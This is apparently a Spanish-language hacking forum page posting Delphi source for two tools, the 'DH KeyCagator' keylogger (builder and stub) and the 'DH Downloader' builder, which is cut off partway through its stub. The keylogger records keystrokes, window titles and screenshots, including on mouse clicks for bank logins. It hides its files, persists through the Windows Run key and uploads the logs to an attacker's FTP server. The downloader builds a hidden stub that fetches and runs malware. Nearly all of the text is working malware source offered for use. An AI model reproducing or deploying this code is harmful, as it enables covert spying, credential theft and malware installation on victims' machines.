        Edit12: TEdit;
        Label10: TLabel;
        Edit10: TEdit;
        GroupBox10: TGroupBox;
        Button1: TButton;
        GroupBox12: TGroupBox;
        Button2: TButton;
        CheckBox3: TCheckBox;
        IdFTP1: TIdFTP;
        TabSheet6: TTabSheet;
        GroupBox11: TGroupBox;
        Image2: TImage;
        Memo1: TMemo;
        OpenDialog1: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button2Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := Edit9.Text;
      IdFTP1.Username := Edit11.Text;
      IdFTP1.Password := Edit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(Edit10.Text);

          IdFTP1.List('*.*', True);

          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;
      bankop: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (RadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := ComboBox1.Items[ComboBox1.ItemIndex];
        end;

      end;

      if (RadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := Edit2.Text;
      end;

      foldername := Edit1.Text;

      if (CheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(Edit3.Text) * 1000;

      if (CheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      if (CheckBox3.Checked = True) then
      begin
        bankop := '1';
      end
      else
      begin
        bankop := '0';
      end;

      ftp_seconds := StrToInt(Edit4.Text) * 1000;

      ftp_host_txt := Edit5.Text;
      ftp_user_txt := Edit7.Text;
      ftp_pass_txt := Edit8.Text;
      ftp_path_txt := Edit6.Text;

      lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
        '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
        '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
        '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
        '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
        '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
        ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
        '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
        '[ftp_path]', 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
        'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
        stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
                stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              StatusBar1.Panels[0].Text := '[+] Done ';
              StatusBar1.Update;
            end;
          except
            begin
              StatusBar1.Panels[0].Text := '[-] Error';
              StatusBar1.Update;
            end;
          end;
        end
        else
        begin
          StatusBar1.Panels[0].Text := '[+] Done ';
          StatusBar1.Update;
        end;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      bankop: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
            username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Function capturar() based in :
    // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
    // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
    // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
    // Thanks to Zarko Gajic , Luthfi and Ken White

    var
      aca: HDC;
      tan: TRect;
      posnow: TPoint;
      imagen1: TBitmap;
      imagen2: TJpegImage;
      curnow: THandle;

    begin

      aca := GetWindowDC(GetDesktopWindow);
      imagen1 := TBitmap.Create;

      GetWindowRect(GetDesktopWindow, tan);
      imagen1.Width := tan.Right - tan.Left;
      imagen1.Height := tan.Bottom - tan.Top;
      BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
        0, SRCCOPY);

      GetCursorPos(posnow);

      curnow := GetCursor;
      DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
        DI_NORMAL);

      imagen2 := TJpegImage.Create;
      imagen2.Assign(imagen1);
      imagen2.CompressionQuality := 60;
      imagen2.SaveToFile(nombre);

      imagen1.Free;
      imagen2.Free;

    end;

    //

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;
      banknow: string;

    const

      n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
        '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
        '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
        '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
        '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
        '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221',
        '222', '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
                if (bankop = '1') then
                begin
                  if (t_raros[I] = '[mouse click]') then
                  begin
                    banknow := IntToStr(Random(10000)) + '.jpg';
                    capturar_pantalla(banknow);
                    SetFileAttributes(Pchar(dir + '/' + banknow),
                      FILE_ATTRIBUTE_HIDDEN);

                    savefile('logs.html', '<br><br><center><img src=' + banknow +
                      '></center><br><br>');

                  end;
                end;
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
                + '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(10000)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password,
                Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
              OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            bankop := regex(todo, '[bank]', '[bank]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
              '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#116
Delphi / [Delphi] DH Downloader 0.8
Mayo 29, 2014, 05:54:14 PM
Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.

Una imagen :



Un video con un ejemplo de uso :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los codigos :

El USB Mode :

Código: delphi

// DH Downloader 0.8
// (C) Doddy Hackman 2014

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls,
  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox2: TGroupBox;
    Button1: TButton;
    StatusBar1: TStatusBar;
    GroupBox3: TGroupBox;
    Edit1: TEdit;
    GroupBox4: TGroupBox;
    CheckBox1: TCheckBox;
    Edit2: TEdit;
    CheckBox2: TCheckBox;
    Edit3: TEdit;
    TabSheet6: TTabSheet;
    GroupBox5: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    GroupBox6: TGroupBox;
    PageControl3: TPageControl;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    TabSheet9: TTabSheet;
    GroupBox7: TGroupBox;
    Edit4: TEdit;
    GroupBox8: TGroupBox;
    Edit5: TEdit;
    GroupBox9: TGroupBox;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    TabSheet10: TTabSheet;
    GroupBox10: TGroupBox;
    GroupBox11: TGroupBox;
    Button2: TButton;
    Edit6: TEdit;
    GroupBox12: TGroupBox;
    GroupBox13: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox14: TGroupBox;
    CheckBox6: TCheckBox;
    GroupBox15: TGroupBox;
    Image2: TImage;
    Memo1: TMemo;
    Image3: TImage;
    GroupBox16: TGroupBox;
    Button3: TButton;
    ProgressBar1: TProgressBar;
    IdHTTP1: TIdHTTP;
    OpenDialog1: TOpenDialog;
    GroupBox17: TGroupBox;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Edit5DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not CheckBox1.Checked then
  begin
    filename := Edit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := Edit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(Edit1.Text, archivobajado);
      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
      StatusBar1.Update;
      archivobajado.Free;
    end;
  except
    StatusBar1.Panels[0].Text := '[-] Failed download';
    StatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if CheckBox2.Checked then
    begin
      if not DirectoryExists(Edit3.Text) then
      begin
        CreateDir(Edit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
      StatusBar1.Panels[0].Text := '[+] File Moved';
      StatusBar1.Update;
    end;

    if CheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if CheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end;
    end;

    if CheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if CheckBox2.Checked then
      begin
        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
          nombrefinal);
      end;

      StatusBar1.Panels[0].Text := '[+] Registry Updated';
      StatusBar1.Update;

      addnow.Free;

    end;

    if CheckBox5.Checked then
    begin

      if RadioButton1.Checked then
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
      CheckBox4.Checked or CheckBox5.Checked then
    begin
      StatusBar1.Panels[0].Text := '[+] Finished';
      StatusBar1.Update;
    end;

  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog1.filename);
    Edit6.Text := OpenDialog1.filename;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := Edit4.Text;
  stubgenerado := 'tiny_down.exe';

  if (RadioButton4.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (CheckBox6.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
    + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
    stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, Pchar(linea));
  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(Edit6.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado)), FALSE);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(Edit6.Text)));
        EndUpdateResourceW(change, FALSE);
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;
    except
      begin
        StatusBar1.Panels[0].Text := '[-] Error';
        StatusBar1.Update;
      end;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;

  //

end;

procedure TForm1.Edit5DblClick(Sender: TObject);
begin

  if not(Edit4.Text = '') then
  begin
    Edit5.Text := getfilename(Edit4.Text);
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ProgressBar1.Position := 0;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

end.

// The End ?


El stub :

Código: delphi

// DH Downloader 0.8
// (C) Doddy Hackman 2014

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
